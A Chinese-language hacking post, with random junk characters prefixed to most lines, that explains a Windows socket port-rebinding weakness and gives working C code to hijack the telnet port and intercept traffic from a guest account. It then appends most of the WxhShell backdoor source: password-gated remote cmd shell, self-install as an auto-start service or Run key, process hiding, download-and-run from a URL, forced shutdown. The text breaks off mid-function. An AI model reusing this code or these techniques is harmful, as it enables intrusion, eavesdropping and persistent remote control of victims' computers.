在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
GtA`0B s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+EETo): AU{"G saddr.sin_family = AF_INET;
',+yD9 @ BrV{X&>[i saddr.sin_addr.s_addr = htonl(INADDR_ANY);
kx"10Vw &.?XntI9O bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
m~=~DMj gAqK)@8- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?e7]U*jEU a)qan 这意味着什么?意味着可以进行如下的攻击:
6
63o T{YZ`[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
MY&Jdmga Swi#^i 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
25^?|9o 7 bF'rK'', 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
-fR:W{u >| R'dF} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Wa_qD YGp+[|' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
._mep\#.: }U_
'7_JT 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
UX 1
)(( xP;r3u
s 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
O7K.\ {@Mr7*u #include
]MbPivM #include
I=Y>z^4 #include
(i1JRn-f #include
&p0e)o~Ux DWORD WINAPI ClientThread(LPVOID lpParam);
&d# R'Z int main()
t}EMX9SQ {
.KsR48g8 WORD wVersionRequested;
B/?
L$m DWORD ret;
?pDr"XH~ WSADATA wsaData;
?6#won BOOL val;
c0!.ei SOCKADDR_IN saddr;
.L'w/"O SOCKADDR_IN scaddr;
TkbaoD int err;
EY}:aur SOCKET s;
eI
#Gx_mg SOCKET sc;
APQq F/ int caddsize;
=OVDJ0ozZ HANDLE mt;
8)i""OD@I DWORD tid;
g?C;b>4 wVersionRequested = MAKEWORD( 2, 2 );
bF)G+IH err = WSAStartup( wVersionRequested, &wsaData );
!3ggQG!e if ( err != 0 ) {
hsZ/Vnn` printf("error!WSAStartup failed!\n");
H}@:Bri return -1;
gEA SYIQ }
=bVPHrKNQ saddr.sin_family = AF_INET;
>@ t G
dgL}"*F //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
FMfpjuHk Hvl
n>x@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Wboh2:TH: saddr.sin_port = htons(23);
{pzj@b 1S if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0c_xPBbB+ {
W:w~ M'o printf("error!socket failed!\n");
s}D>.9 return -1;
{h<D/:^v }
@[$_cGR7 val = TRUE;
y4V:)@P //SO_REUSEADDR选项就是可以实现端口重绑定的
s0kp(t!fiu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
S}m_XR] {
V7ph^^sC} printf("error!setsockopt failed!\n");
G=dzP}B'WA return -1;
$Y$9]G": }
#el27"QP0 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
NE995; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
iyskADS //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
s?SspuV x 3@-E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ao(T81 {
~MpikBf ret=GetLastError();
%|Ps|iV printf("error!bind failed!\n");
k3\N.@\ return -1;
|s| }u`(@9 }
98m|&7 listen(s,2);
=;}W)V|X)S while(1)
ZedFhm {
nK&]8" caddsize = sizeof(scaddr);
xU
*:a[g //接受连接请求
! -gU~0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,Q`qnn& if(sc!=INVALID_SOCKET)
K*6 "c.D {
So:X!ljN(e mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
0lw>mxN if(mt==NULL)
X/!_>@`7? {
PnsBDf%v printf("Thread Creat Failed!\n");
Jh[0xb break;
GK?ual1 }
HpwMm^ }
V\V
/2u5- CloseHandle(mt);
|<%!9Z }
KKeMi@N closesocket(s);
{]vD@)k WSACleanup();
>1y6DC return 0;
jDzQw>TX }
1Pf(.&/9_ DWORD WINAPI ClientThread(LPVOID lpParam)
S_}`'Z ) {
en<mm#Ab SOCKET ss = (SOCKET)lpParam;
Lu.zc='\ SOCKET sc;
*kr/,_K unsigned char buf[4096];
>rG>Bz^Pu SOCKADDR_IN saddr;
50UdY9E_v} long num;
5&Oc`5QD DWORD val;
4aayMS!# DWORD ret;
Hl*vS //如果是隐藏端口应用的话,可以在此处加一些判断
^xo<$zn //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.nV2n@SR saddr.sin_family = AF_INET;
>J"IN I saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
5/H,UL saddr.sin_port = htons(23);
,'#TdLe if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|dRVSVN {
3"fDFR printf("error!socket failed!\n");
A_9WSXR return -1;
qTO6I5u }
Z\0Rw># val = 100;
xm'9n? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@sXFu[!U {
_1"
ecaA ret = GetLastError();
XTol|a= return -1;
Uqr>8|t? }
jm0p%%z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_=v#"l {
]5!3|UYS ret = GetLastError();
OG\i?N return -1;
lFBdiIw }
Aq i:h]x if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+X?ErQm {
~ELY$G.xl printf("error!socket connect failed!\n");
=w2 4(S closesocket(sc);
XN<SKW(H3 closesocket(ss);
K+g[E<x\= return -1;
#A63?kDE&& }
8-$t7bV5 while(1)
?W/.'_ {
sJHVnMA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
4WT[( //如果是嗅探内容的话,可以再此处进行内容分析和记录
nF3}wCe) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
O&%'j num = recv(ss,buf,4096,0);
+ikSa8)*i if(num>0)
9u=A:n\ send(sc,buf,num,0);
HR>Y?B{ else if(num==0)
p8Vqy-: break;
fHt \KP num = recv(sc,buf,4096,0);
'K[ml ?_ if(num>0)
bQ<qdGa send(ss,buf,num,0);
<'y<8gpM else if(num==0)
;p`1Y<d-O break;
AGhenDNV }
*X5)9dq closesocket(ss);
Spm 0` closesocket(sc);
6F\ 6,E return 0 ;
% "RJi? }
X2w)J?pv X+vKY ;?h[WIy ==========================================================
L G}{ibB xJq|,":gj 下边附上一个代码,,WXhSHELL
D:P(; qpQ;,8X-" ==========================================================
iO L$| Z( )>a~ %~: #include "stdafx.h"
RQ+, 7Ir j#HXuV6 #include <stdio.h>
}1a}pm2p #include <string.h>
.jrNi=BP* #include <windows.h>
.#EU@Hc #include <winsock2.h>
\S}/2]* 1 #include <winsvc.h>
<z Gh}.6v #include <urlmon.h>
R >x d*A Y;'<u\^M" #pragma comment (lib, "Ws2_32.lib")
A U~DbU0O #pragma comment (lib, "urlmon.lib")
(
eV,f \"P{8<h.3 #define MAX_USER 100 // 最大客户端连接数
[6GYYu\ #define BUF_SOCK 200 // sock buffer
>hunV'vu' #define KEY_BUFF 255 // 输入 buffer
%9-^,og D(b01EQ;d #define REBOOT 0 // 重启
r. 82RoG?G #define SHUTDOWN 1 // 关机
-L2.cN_ E'iE#He #define DEF_PORT 5000 // 监听端口
3(YvqPp& qs4jUm #define REG_LEN 16 // 注册表键长度
)f?I{ #define SVC_LEN 80 // NT服务名长度
!gh8 Qs r$jWjb // 从dll定义API
\w9}O2lL typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
WfPb7T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
=m.Nm -g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
zJQh~) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;zCUx*{ VcjbRpTy& // wxhshell配置信息
*-VRkS-G struct WSCFG {
eORXyh\K int ws_port; // 监听端口
Pnytox char ws_passstr[REG_LEN]; // 口令
^eW<-n@^ int ws_autoins; // 安装标记, 1=yes 0=no
BabaKSm}LP char ws_regname[REG_LEN]; // 注册表键名
y-<.l=6A char ws_svcname[REG_LEN]; // 服务名
Nd8>p.iqO char ws_svcdisp[SVC_LEN]; // 服务显示名
QM,#:m1o char ws_svcdesc[SVC_LEN]; // 服务描述信息
{}$9
70y char ws_passmsg[SVC_LEN]; // 密码输入提示信息
-CPtYG[s int ws_downexe; // 下载执行标记, 1=yes 0=no
_p$/.~Xo9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\o<ucp\J char ws_filenam[SVC_LEN]; // 下载后保存的文件名
3,PR6a,b' -^&=I3bp };
hSehJjEoM :{u`qi // default Wxhshell configuration
7q0_lEh struct WSCFG wscfg={DEF_PORT,
dT|XcVKg "xuhuanlingzhe",
=<]`'15"V 1,
J 8i;E4R "Wxhshell",
vQWmHv\P "Wxhshell",
Ft5A(P > "WxhShell Service",
*%xbn8 "Wrsky Windows CmdShell Service",
GRZz@bAO?$ "Please Input Your Password: ",
\ `Hp/D1 1,
?N kKDvv "
http://www.wrsky.com/wxhshell.exe",
!73y(Y%TE "Wxhshell.exe"
c5]Xqq, };
~${~To8$CW Q2
q~m8( // 消息定义模块
uq5?t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
4`O[U#? char *msg_ws_prompt="\n\r? for help\n\r#>";
w>W #cTt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
20Zxv! char *msg_ws_ext="\n\rExit.";
Zue3Z{31T char *msg_ws_end="\n\rQuit.";
OP/DWf char *msg_ws_boot="\n\rReboot...";
<Gpji5f2 char *msg_ws_poff="\n\rShutdown...";
$dfc@Fn^x char *msg_ws_down="\n\rSave to ";
}M4dze s|C[{n<_ char *msg_ws_err="\n\rErr!";
s8-RXEPb char *msg_ws_ok="\n\rOK!";
,gV#x7IW z'l$;9(y char ExeFile[MAX_PATH];
u(vZOf]jL int nUser = 0;
M9)4ihK HANDLE handles[MAX_USER];
Wf
c/?{ int OsIsNt;
v[L+PD
U 0CzQel)L: SERVICE_STATUS serviceStatus;
TdFU, SERVICE_STATUS_HANDLE hServiceStatusHandle;
*\ii+f- I`_2Q:r // 函数声明
)KZMRAT- int Install(void);
Jg#0g
eU int Uninstall(void);
i(~DhXz*T int DownloadFile(char *sURL, SOCKET wsh);
BTAbDyH5 int Boot(int flag);
h)Y] L#R void HideProc(void);
3IxC@QR int GetOsVer(void);
t/|0"\ p int Wxhshell(SOCKET wsl);
gIo\^ktW void TalkWithClient(void *cs);
t/ \S9 int CmdShell(SOCKET sock);
WI\a int StartFromService(void);
@i ~ A7L0/ int StartWxhshell(LPSTR lpCmdLine);
+4yre^gC ~z^?+MgZ2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
.xIAep_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
nJI2IPZ Y0(4]X \ey // 数据结构和表定义
b<FE
SERVICE_TABLE_ENTRY DispatchTable[] =
('x]@ {
4,y7a=qf3 {wscfg.ws_svcname, NTServiceMain},
f*%kHfaXgN {NULL, NULL}
Fz#@ [1, };
X>I3N?5 U["0B8 // 自我安装
h$5[04.Q int Install(void)
U7WYS8 {
y[N0P0r l: char svExeFile[MAX_PATH];
E#!N8fQ HKEY key;
kN=&" strcpy(svExeFile,ExeFile);
,I"T9k-^ @)>Z+g // 如果是win9x系统,修改注册表设为自启动
h,c*: if(!OsIsNt) {
)<5k+O~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)j;^3LiV3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=p+n(C/ RegCloseKey(key);
(zsG!v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
J~%43!X\K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
m%0-3c( RegCloseKey(key);
O9daeIF0# return 0;
GDSV:]hL }
8"%Es }
Q6m8N }
R-%6v2;ry else {
$0$sM/ % !Cgj
>= // 如果是NT以上系统,安装为系统服务
um%_kX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
(MLcA\LJ if (schSCManager!=0)
6Vnq|;W3Zv {
Kk^*#vR SC_HANDLE schService = CreateService
5G355 ,}E (
j(%N.f6 schSCManager,
evZcoH3~ wscfg.ws_svcname,
}Xj25` x wscfg.ws_svcdisp,
iC3z5_g*@ SERVICE_ALL_ACCESS,
_(-jk4 L SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
+/[M
Ex= SERVICE_AUTO_START,
!(lcUdBd SERVICE_ERROR_NORMAL,
s4bV0k svExeFile,
` <1Wf NULL,
?tYZ/ NULL,
.D@J\<,+l NULL,
P<g(i 6] NULL,
SfS3}Tn[ NULL
lpG%rN! );
^/BGOBK if (schService!=0)
k6C XuU {
'xH^ksb " CloseServiceHandle(schService);
ZVgfrvZP CloseServiceHandle(schSCManager);
T-N>w;P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*}\M!u{J strcat(svExeFile,wscfg.ws_svcname);
u"h/ERCa if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
l.@1]4. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
d-b04Q7DQ RegCloseKey(key);
F*P0=DD return 0;
X+!+&RAN* }
!<M
eWo }
)JzY%a SP CloseServiceHandle(schSCManager);
?=&; A }
{KgA
V }
]FCP|Jz rpKZ>S|7+) return 1;
b,Wm]N }
G(t:s5: 6qT@M0)i // 自我卸载
Q]9$dr=Kk0 int Uninstall(void)
oz&`3` {
LO=U?`)q HKEY key;
\D|IN'!D 8e?/LA%MU if(!OsIsNt) {
9rEBq& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6U{A6hH] RegDeleteValue(key,wscfg.ws_regname);
2j+w5KvU RegCloseKey(key);
~xd?y*gk; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O|H: RegDeleteValue(key,wscfg.ws_regname);
#Ha:O,| RegCloseKey(key);
) lUS' I return 0;
os5$( }
Vg'R=+Wb }
]LB_ @# }
Z8E<^<| else {
c9+G
Qp G[KjK$.Ts? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[1rQ'FBB^1 if (schSCManager!=0)
u=0O3-\h {
{JfQQP&FV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&3SS.&g4W if (schService!=0)
Ic(qA{SM {
Qxz[ if(DeleteService(schService)!=0) {
h
/ CloseServiceHandle(schService);
_r-LX" CloseServiceHandle(schSCManager);
`N\ ^JAGW return 0;
HTh?&u\QG }
>W> rhxU CloseServiceHandle(schService);
}r,M(Zr }
uZ?P{E,K CloseServiceHandle(schSCManager);
vx9!KWy} }
4AJ] qu }
D_lRYLA+ dWd%>9}
return 1;
;g0s1nz }
rMwa6ZO'm; jf3Zy:*K // 从指定url下载文件
n=!T(Hk int DownloadFile(char *sURL, SOCKET wsh)
4K^cj2X {
4o#]hB';ni HRESULT hr;
B_d\eD char seps[]= "/";
t/[lA=0 )2 char *token;
yv-R<c!' char *file;
k'iiRRM char myURL[MAX_PATH];
J2qsZ char myFILE[MAX_PATH];
( 1z"=NCp ]({-vG\m strcpy(myURL,sURL);
ExG(*[l token=strtok(myURL,seps);
|:S6Gp[\O while(token!=NULL)
2}&ERW {
6La[( ) file=token;
GDLi?3q token=strtok(NULL,seps);
^(JrOh' }
`%Fp'`ZM$8 R%.`h GetCurrentDirectory(MAX_PATH,myFILE);
U =J5lo strcat(myFILE, "\\");
(m3hD)!+y strcat(myFILE, file);
;VLDXvGd send(wsh,myFILE,strlen(myFILE),0);
^/#+0/Bn send(wsh,"...",3,0);
G`l\R:Q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Lip#uuuXXN if(hr==S_OK)
Ii+3yE@c return 0;
$U[d#:] else
1>e30Ri,g return 1;
y11^q*} 1]If<
< }
7RT{RE wm@j(h4 // 系统电源模块
Onx6Fy]L int Boot(int flag)
3#t9pI4 {
IRg2\Hq HANDLE hToken;
#ksDU TOKEN_PRIVILEGES tkp;
$^Xxn.B9 ~) ;4O8~. if(OsIsNt) {
s:_hsmc" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
C@Wzg LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
I7vP*YE 7F tkp.PrivilegeCount = 1;
5.^pD9 [mT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
JA4Zg*7I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
k^oSG1F if(flag==REBOOT) {
8sj2@d if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
.6gx|V+ return 0;
K#A& }
<~mqb=qA$ else {
Z0&^(Fb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
FJ84'T\~ return 0;
bbjba36RO }
JM;bNW8 }
eP~3m else {
IX+Jf? &^ if(flag==REBOOT) {
)#AYb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
jN+`V)p return 0;
).kU7;0 }
x[t?hl=: else {
O
?T~>| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Gxd/t#; return 0;
`&NFl'l1C }
v.W! }
Kvg=7o \];|$FQg return 1;
?`TJ0("z" }
c&T5C,] DAq
H // win9x进程隐藏模块
#N`'hPD} void HideProc(void)
]MYbx)v) {
bpsyO>lx/ G5qsnTxUJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Lx-%y'P if ( hKernel != NULL )
8nI~iN?" {
MLr L"I" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
.g/!u(iy ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
VQ!4(
<XD FreeLibrary(hKernel);
9]3l' }
r5&c!b \ AkW,Fp1e return;
-v9 (43 }
IG0_ Y#lAG@$ // 获取操作系统版本
X)SUFhP\ int GetOsVer(void)
pW ~;B*hF {
8GxT! OSVERSIONINFO winfo;
Oi?Q^ISxP winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3R/6/+S- GetVersionEx(&winfo);
~^.,Ftkb@7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
xFUD9TM
return 1;
u&p8S#e else
^I/(9KP# return 0;
-rsS_[$2 }
cMi9 Z] `T[yyOL/ // 客户端句柄模块
0(&uH0x int Wxhshell(SOCKET wsl)
5M\0t\uEn {
Mxz
X@GBX SOCKET wsh;
,~;`@ struct sockaddr_in client;
5%S5*c6BD DWORD myID;
rKPsv*w }c/#WA|b while(nUser<MAX_USER)
QPVr:+\B{ {
8;=?F>]xn int nSize=sizeof(client);
~b8.]Z^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
bY`Chb. if(wsh==INVALID_SOCKET) return 1;
|\B\IPs{%' L\Oxyi<{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
akw:3+` if(handles[nUser]==0)
\yymp70w closesocket(wsh);
a:|]F| else
b c
.Vy nUser++;
CWs;1`aP }
yq3"VFh3d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?_pd#W=! ,S(_YS^m return 0;
LzXIqj'H7T }
j,,#B4b hW,GsJ, // 关闭 socket
0T3r#zQ void CloseIt(SOCKET wsh)
6:r1^q6A9L {
M]\"]H? closesocket(wsh);
R U[ nUser--;
?Wt_Obl ExitThread(0);
Rpcnpo }
~R|fdD/% AF{o=@ // 客户端请求句柄
,^xsdqpe void TalkWithClient(void *cs)
P\c0Q;){h" {
YVY(uq)d !oV' SOCKET wsh=(SOCKET)cs;
LY0/\Z"N char pwd[SVC_LEN];
etW-gbr char cmd[KEY_BUFF];
I |D]NY^ char chr[1];
a(o[ bH.|; int i,j;
iEFS>kL8e cNN_KA while (nUser < MAX_USER) {
/-pop]L RmN\;G?} if(wscfg.ws_passstr) {
;c~DBJg'| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F7x< V=4{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@7PE&3 //ZeroMemory(pwd,KEY_BUFF);
`0ju=FP'u5 i=0;
BJ/#V) while(i<SVC_LEN) {
9.goO|~B~ DA4!-\bt@ // 设置超时
`~t$k7wm= fd_set FdRead;
Pb D|7IM struct timeval TimeOut;
qj|B #dU FD_ZERO(&FdRead);
;rta#pRn FD_SET(wsh,&FdRead);
A%M&{S'+|X TimeOut.tv_sec=8;
QQjMC' TimeOut.tv_usec=0;
6ud<B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
EVmE{XlD; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~w%Z Bp ,v1-y
?kB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_jb"@TY pwd
=chr[0]; J2#=`|t"
if(chr[0]==0xd || chr[0]==0xa) { 13{"sY:PT#
pwd=0; {&(bKQ
break; ]O&A:Us
} +ACV,GG
i++; ;v+CQx
} OEGAwP?F
>Q\H1|?
// 如果是非法用户,关闭 socket ELNA-ZKp
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WU,72g=
} $t</{]iX
qXW2a'~
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B
9]sSx
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !r!Mq~X<=
7!N5uR
while(1) { CM's6qhQnn
)@`w^\E_~_
ZeroMemory(cmd,KEY_BUFF); 1y8:tri>N
tT#Q`cB
// 自动支持客户端 telnet标准 \ZDT=?
j=0; &FvNz
while(j<KEY_BUFF) { lB\j>.c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?y45#Tk]
cmd[j]=chr[0]; LveqG
if(chr[0]==0xa || chr[0]==0xd) { !%M-w0vC9
cmd[j]=0; :U[_V4?7
break; E 0pF; P5
} C X'E+
j++; 0Rk'sEX,
} 01q7n`o#zf
@%cJjZ5y
// 下载文件 s3kEux^
if(strstr(cmd,"http://")) { gZ!(&u
send(wsh,msg_ws_down,strlen(msg_ws_down),0); x!.VWG tb
if(DownloadFile(cmd,wsh)) }>XSp)"{l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (&hX8
else qK1V!a2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >a-+7{};
} /7"1\s0 U
else { ez5`B$$
?HcA&
switch(cmd[0]) { 246lFxG.
/+1Fa):
// 帮助 `Zi #rr|)L
case '?': { SCH![Amq
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D\l.?<C
break; _0j}(Q>|H#
} S+>]8ZY
// 安装 2nieI*[
case 'i': { XP;&iZJ
if(Install()) #"yf^*wX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n*6s]iG
V
else I2DmM"-|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aQmL=9
break; d=KOV;~);
} *nW9)T
// 卸载 cnPXvD^kY
case 'r': { (MIw$)#^
if(Uninstall()) xR&,QrjQG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5)oIPHXw
else B:r-')!0$#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "=n8PNV/
c
break; ;Gs**BB&
} .}<B*e=y
// 显示 wxhshell 所在路径 9iy|=
case 'p': { @
:4Kk
4g1
char svExeFile[MAX_PATH]; pNJM]-D]m~
strcpy(svExeFile,"\n\r"); O]g+z$2o
strcat(svExeFile,ExeFile); S7q&|nI
send(wsh,svExeFile,strlen(svExeFile),0); B;~agr
break; _Lb& 2PAG
} EDQJ>c
// 重启 r"[T9
case 'b': { 66 Xt=US
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g&vEc1LNo
if(Boot(REBOOT)) QMxz@HGa|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a*[\edcHU
else { ed*AU,^@v
closesocket(wsh); X[~CLKH(
ExitThread(0); g[jZ A[[
} V6{xX0'b*m
break; =|%T E
} W7o/
// 关机 qU
n>
case 'd': { ui{_w @o
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {LD8ie|x1`
if(Boot(SHUTDOWN)) y4L9Cxvs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NFc8"7Mz}
else { a!K;8#xc
closesocket(wsh); \-0` %k"&
ExitThread(0); _MEv*Q@o
} %S#"pKE6R
break; L>b,}w
} "y0A<-~
// 获取shell R7{hoqI2
case 's': { \IfgL$+
CmdShell(wsh); (B-9M)
closesocket(wsh); 5w1[KO#K|
ExitThread(0); X8x>oV;8
break; 7$=@q|$
} sD3|Qj;
// 退出 xH[yIfHkG@
case 'x': { __iyBaX
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \^4$}@*]
CloseIt(wsh); (F YJ^o
break; (`+Z'Y
} xlO2jSSAt
// 离开 <6~;-ZQY
case 'q': { \pGO}{3e*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |]cDz
closesocket(wsh); LeyDs>!0
WSACleanup(); 8Q -F
exit(1); U9 *2< c
break; \W^+vuD8
} N=wy)+
} y}HC\A77uD
} KgWT&^t
p ri{vveN@
// 提示信息 Dg+d=I?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V^+:U>$w
} 'e64%t
} oLMi vy4
CWQ2iu<_0
return;
m5aaY
} ?\M6P?tpo&
zpqNmxmF
// shell模块句柄 Fd&!-`T?
int CmdShell(SOCKET sock) PZJ
4:h
{ F:S>\wG,
STARTUPINFO si; mm-UQ\h
ZeroMemory(&si,sizeof(si)); "\r~,S{:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <SZO-
-+lB
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a[g|APZz
PROCESS_INFORMATION ProcessInfo; CZRo{2!?U
char cmdline[]="cmd"; \Egc5{
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (v:ek_
return 0; !F#aodM1N
} +|YZEC
c@7hLUaE2
// 自身启动模式 O
f @#VZ
int StartFromService(void) {dXBXC/Ju
{ '\B"g@if
typedef struct `j}d=zZ
{ b|o!&9Yyr
DWORD ExitStatus; TeCpT2!5j
DWORD PebBaseAddress; !gfhEzY
DWORD AffinityMask; _C,@eu"9V
DWORD BasePriority; f\U&M,L\'
ULONG UniqueProcessId; @[lc0_b
